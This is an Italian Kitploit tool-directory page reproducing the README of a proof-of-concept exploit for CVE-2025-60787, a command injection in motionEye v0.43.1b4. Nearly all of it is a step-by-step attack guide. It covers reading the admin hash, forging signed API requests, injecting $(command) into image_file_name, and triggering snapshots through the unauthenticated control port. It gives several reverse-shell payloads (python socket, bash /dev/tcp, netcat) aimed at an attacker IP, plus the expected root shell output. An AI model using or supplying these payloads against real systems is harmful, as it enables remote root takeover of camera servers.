Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-60787 — Proof-of-concept exploit per CVE-2025-60787, un'iniezione di comandi del sistema operativo in motionEye v0.43.1b4, che consente l'esecuzione remota di codice tramite il parametro image_file_name appositamente predisposto. | Kitploit
Strumenti/GitHubGitHub/agent-skywalker/cve-2025-60787
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
agent-skywalker/cve-2025-60787

CVE-2025-60787

Proof-of-concept exploit per CVE-2025-60787, un'iniezione di comandi del sistema operativo in motionEye v0.43.1b4, che consente l'esecuzione remota di codice tramite il parametro image_file_name appositamente predisposto.

Vedi Repository
1126 mesi faNon ancora revisionato

CVE-2025-60787 - MotionEye RCE

MotionEye v0.43.1b4 OS Command Injection

Un proof-of-concept di OS Command Injection per una vulnerabilità in motionEye, un frontend web per il demone motion. La vulnerabilità abusa del parametro di configurazione image_file_name, passato direttamente alla shell senza sanitizzazione, consentendo l'iniezione arbitraria di comandi tramite la sintassi $(command) subshell.

Disclaimer: Utilizzare solo contro sistemi per cui si ha esplicita autorizzazione al test. L'uso non autorizzato è illegale.


Indice

  • Come funziona la vulnerabilità
  • Prerequisiti
  • Passo 1 — Individuare l'hash della password amministratore
  • Passo 2 — Comprendere la catena di autenticazione
  • Passo 3 — Comprendere l'algoritmo di firma
  • Passo 4 — Configurare l'exploit
  • Passo 5 — Avviare il listener
  • Passo 6 — Eseguire l'exploit
  • Riferimento parametri
  • Risoluzione dei problemi

Come funziona la vulnerabilità

motionEye passa il valore di configurazione image_file_name direttamente al demone motion come pattern di nome file di shell. Motion valuta le espressioni subshell $(...) all'interno dei nomi file al momento dello snapshot, il che significa che qualsiasi comando inserito in $(...) viene eseguito come l'utente che esegue il processo motion (tipicamente root).

La catena d'attacco completa è:

1. Leggere l'hash admin_password da /etc/motioneye/motion.conf
         ↓
2. Derivare il cookie hash = SHA1(admin_password_hash)
         ↓
3. Calcolare la firma HMAC usando l'algoritmo esatto di motionEye:
   SHA1("METHOD:path:body:key")
         ↓
4. POST di una configurazione malevola a /config/{cam}/set/ con:
   image_file_name = $(tuo_comando).%Y-%m-%d-%H-%M-%S
         ↓
5. Attivare lo snapshot tramite la porta di controllo motion senza autenticazione 7999
         ↓
6. Motion valuta il nome file → il comando viene eseguito come root
         ↓
7. La reverse shell si collega alla macchina attaccante

Prerequisiti

  • Python 3.6+
  • Accesso di rete all'istanza motionEye target (porta predefinita 8765)
  • L'hash della password amministratore da /etc/motioneye/motion.conf
  • Un listener sulla macchina attaccante (es. nc)

Non sono richiesti pacchetti Python di terze parti — l'exploit utilizza solo la libreria standard.


Passo 1 — Individuare l'hash della password amministratore

Il file di configurazione di motionEye memorizza la password amministratore come hash SHA1. Leggerlo dal target:

cat /etc/motioneye/motion.conf

Cercare la riga di commento @admin_password:

# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

Il valore dopo @admin_password è un hash SHA1 della password in chiaro, non la password stessa. Questo hash è ciò che serve per l'exploit.

Notare anche il valore webcontrol_port — è la porta di controllo motion senza autenticazione utilizzata per attivare gli snapshot:

webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

Passo 2 — Comprendere la catena di autenticazione

motionEye utilizza uno schema di autenticazione a doppio hash:

password_in_chiaro
       │
       ▼  SHA1
admin_password  ←── memorizzata in motion.conf come @admin_password
       │
       ▼  SHA1
cookie_hash     ←── inviato nel cookie del browser come meye_password_hash
       │
       ▼  usato come chiave HMAC
request_signature ←── parametro _signature= in ogni richiesta API

L'exploit deriva automaticamente il cookie hash dall'hash di configurazione:

cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

Puoi verificarlo manualmente:

echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

Passo 3 — Comprendere l'algoritmo di firma

La firma viene calcolata dal codice sorgente di motionEye in
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:

SHA1("METHOD:path:body:key")

Dove:

  • METHOD — metodo HTTP (POST)
  • path — URI con _signature rimosso dalla stringa di query, parametri ordinati, valori codificati URL, poi filtrati attraverso _SIGNATURE_REGEX
  • body — stringa JSON grezza del corpo filtrata attraverso _SIGNATURE_REGEX
  • key — può essere admin_password o admin_hash (motionEye accetta entrambi), filtrato attraverso _SIGNATURE_REGEX

La _SIGNATURE_REGEX rimuove qualsiasi carattere non in [a-zA-Z0-9/?_.=&{}\[\]":, -], sostituendoli con -.


Passo 4 — Configurare l'exploit

Apri exploit.py e imposta le seguenti variabili all'inizio:

MOTIONEYE_URL = "http://127.0.0.1:8765"   # URL interfaccia web motionEye
MOTION_URL    = "http://127.0.0.1:7999"   # porta di controllo motion (senza auth)
USERNAME      = "admin"                    # nome utente amministratore (default: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # da motion.conf

LHOST = "10.10.16.153"   # IP del tuo listener — il target deve poterlo raggiungere
LPORT = "4444"           # porta del tuo listener

Il comando della reverse shell viene impostato automaticamente da LHOST e LPORT:

COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

Comandi shell alternativi — sostituisci COMMAND se quello predefinito è bloccato:

# Bash TCP (semplice, potrebbe essere filtrato)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat con flag -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat senza -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

Passo 5 — Avviare il listener

Sulla tua macchina attaccante, avvia un listener netcat prima di eseguire l'exploit:

nc -lvnp 4444

L'exploit fa una pausa di 5 secondi dopo aver stampato il promemoria del listener, dandoti il tempo per cambiare terminale.


Passo 6 — Eseguire l'exploit

python3 exploit.py

Output previsto:

============================================================
  motionEye RCE — Reverse Shell
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] Comando    : python3 -c '...'

[!] Avvia ORA il tuo listener:
    nc -lvnp 4444

[*] Invio del payload tra 5 secondi...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] Config salvata! cam=2 key=admin_password

[*] Attivazione snapshot tramite porta 7999 (senza auth)...
[+] cam 0 → 200 Snapshot per camera 0 completato
[+] cam 1 → 200 Snapshot per camera 1 completato
[+] cam 2 → 200 Snapshot per camera 2 completato

[+] Snapshot attivato — controlla il tuo listener su 10.10.16.153:4444

Sul tuo listener dovresti ricevere:

listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

Riferimento parametri

Scarica lo strumento